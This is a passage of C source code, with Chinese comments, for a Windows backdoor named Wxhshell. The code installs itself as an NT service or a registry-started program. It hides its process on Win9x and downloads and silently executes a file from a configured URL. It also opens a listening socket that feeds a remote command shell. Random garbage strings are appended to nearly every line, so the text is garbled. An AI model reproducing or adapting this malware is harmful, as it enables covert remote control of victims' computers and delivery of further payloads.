PROCNTQSIP NtQueryInformationProcess; T*?s@$)m4
V
A<5uk04K
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FmEc`N9\v
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }bH$O%
Q_]d5pl
HANDLE hProcess; 7p.>\YtoR}
PROCESS_BASIC_INFORMATION pbi; ]1D%zKY%$Z
xg<Hxn,<M
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 41G5!=i
if(NULL == hInst ) return 0; Y34/+Fi
G O{.9_2
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *wuqa)q2
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !*aPEf270
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u: &o}[
)"Q*G/+2Ie
if (!NtQueryInformationProcess) return 0; Wy4$*$
t42u b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9i5tVOhE
if(!hProcess) return 0; K{@3\5<
N|mJg[j@7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xd<t5{bD!
?^i1_v7 Bi
CloseHandle(hProcess); -`+<{NHv\
BecPT
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lhH`dG D
if(hProcess==NULL) return 0; a2w T6jY
Ml?~
|_
HMODULE hMod; j'?7D0>
char procName[255]; YAVy9$N-
unsigned long cbNeeded; 6KHN&P
R\mR $\cS
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x}TS
p8}(kHUp(
CloseHandle(hProcess); QSw<%pcJE@
ht =P\E
if(strstr(procName,"services")) return 1; // 以服务启动 R'}95S<
~1
~Xfo>
return 0; // 注册表启动 |&3x#1A
} P`$!@T0=
JhHWu<
// 主模块 7 <9yH:1
int StartWxhshell(LPSTR lpCmdLine) D}3T|N
{ {2&m`Dbm
SOCKET wsl; JIm4vS
BOOL val=TRUE; T!RT<&
int port=0; 1PH:\0}
struct sockaddr_in door; g7\,{Bw#E
`'I{U5;e
if(wscfg.ws_autoins) Install(); ]:(W_qEA
omSM:f_~
port=atoi(lpCmdLine); "{D6J809
|4(~%| 8{
if(port<=0) port=wscfg.ws_port; bWWXc[O2&(
'3 33Ctxy
WSADATA data; ^qGb%! l
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kDvc"
,SD#
5U`ZbG
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; '1?\/,em
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1'.7_EQ4T
door.sin_family = AF_INET; z~*g ~RKS!
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6%,C_7j
door.sin_port = htons(port); ~y HU^5D
DdQ;Q5|
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *&BnF\?m
closesocket(wsl); V7d)S&*V
return 1; *NFg;<:j
} )s_n
7hP<f}xL
if(listen(wsl,2) == INVALID_SOCKET) { ({r*=wAP
closesocket(wsl); #LlUxHv #
return 1; 3_Cp%~Gi-_
} !Ucjax~
Wxhshell(wsl); b[9&l|y^
WSACleanup(); /X"/ha!=&D
te|?)j
return 0; d^03"t0O]
N`@NiJ(O;
} :W#rhuzC
+4;uF]T
// 以NT服务方式启动 5|3e&
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M_v?9L
{ j9Ybx#
DWORD status = 0; ^G&3sF}
DWORD specificError = 0xfffffff; ^d}gpin
KmG
serviceStatus.dwServiceType = SERVICE_WIN32; T>TWU:
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ca i<,3H
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 32DbNEk
serviceStatus.dwWin32ExitCode = 0; zgx&Pte
serviceStatus.dwServiceSpecificExitCode = 0; L`f^y;Y.
serviceStatus.dwCheckPoint = 0; 5oEV-6
serviceStatus.dwWaitHint = 0; o#) {1<0vg
*IgE)N>
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); De7Ts
if (hServiceStatusHandle==0) return; =4V&*go*\
ZkL8 e
status = GetLastError(); dQoYCS}IaV
if (status!=NO_ERROR) 4[Z\
?[
{ glD cUCF3
serviceStatus.dwCurrentState = SERVICE_STOPPED; lC:k7<0Ji
serviceStatus.dwCheckPoint = 0; |4$M]M f0
serviceStatus.dwWaitHint = 0; .2d9?p3Y
serviceStatus.dwWin32ExitCode = status; :w}{$v}#D;
serviceStatus.dwServiceSpecificExitCode = specificError; r/pH_@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Grs]d-xI
return; mxor1P#|
} x{D yTtX<
Lg8nj< TF
serviceStatus.dwCurrentState = SERVICE_RUNNING; b0iSn#$
serviceStatus.dwCheckPoint = 0; S$KFf=0
serviceStatus.dwWaitHint = 0; >U F
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f#+el
y
} 3bO(?l`3h
BA\/YW @
// 处理NT服务事件,比如:启动、停止 u]}s)SmDk
VOID WINAPI NTServiceHandler(DWORD fdwControl) .MO\uh0N
{ " \I4u{zC
switch(fdwControl) "KcA
{ n>@oBG)!
case SERVICE_CONTROL_STOP: W3`>8v1?o
serviceStatus.dwWin32ExitCode = 0; pv|Pm
serviceStatus.dwCurrentState = SERVICE_STOPPED; R$; n)_H
serviceStatus.dwCheckPoint = 0; y#}cC+;
serviceStatus.dwWaitHint = 0; [MuEoWrq(}
{ ),%6V5a+E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); wFG3KzEq ~
} 8XbA'% o
return; @lJzr3}WZ
case SERVICE_CONTROL_PAUSE: V_plq6z
serviceStatus.dwCurrentState = SERVICE_PAUSED; + QQS={
break; 06jqQ-_`h
case SERVICE_CONTROL_CONTINUE: hig2
serviceStatus.dwCurrentState = SERVICE_RUNNING; *#TUGfwy
break; .<kqJ|SVi
case SERVICE_CONTROL_INTERROGATE: KNH1#30 K
break; v<Bynd-
}; y%
:4b@<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2]% h$f+
} Bl=tYp|a
9UvXC)R1
// 标准应用程序主函数 >2#8B
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^CwR!I.D}4
{ wAnb
Di{W
!w&kyW?e
// 获取操作系统版本 zYl#4O`=c
OsIsNt=GetOsVer(); >X*Mio8P#
GetModuleFileName(NULL,ExeFile,MAX_PATH); GhPK-+"X
,3nN[)dk
// 从命令行安装 OY?y ^45y
if(strpbrk(lpCmdLine,"iI")) Install(); JN7k 2]{
!^Q.VYY
// 下载执行文件 @&[T _l
if(wscfg.ws_downexe) { @A)R_p
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +V&{*f)
WinExec(wscfg.ws_filenam,SW_HIDE); o)'y.-@Q
} bH"hX
{BKl` 1z
if(!OsIsNt) { j0@[Br %7
// 如果时win9x,隐藏进程并且设置为注册表启动 ca+[0w@S
HideProc(); ~'R(2[L!;
StartWxhshell(lpCmdLine); $s<Ne{?
} McPNB`.H
else y8fsveX
if(StartFromService()) uc|45Zxt
// 以服务方式启动 xe/(
StartServiceCtrlDispatcher(DispatchTable); {rcnM7 S1L
else =y=cW1TG
// 普通方式启动 }NsUnbxT
StartWxhshell(lpCmdLine); =J1rlnaaEL
#-h\. #s
return 0; c'*a{CV4P
}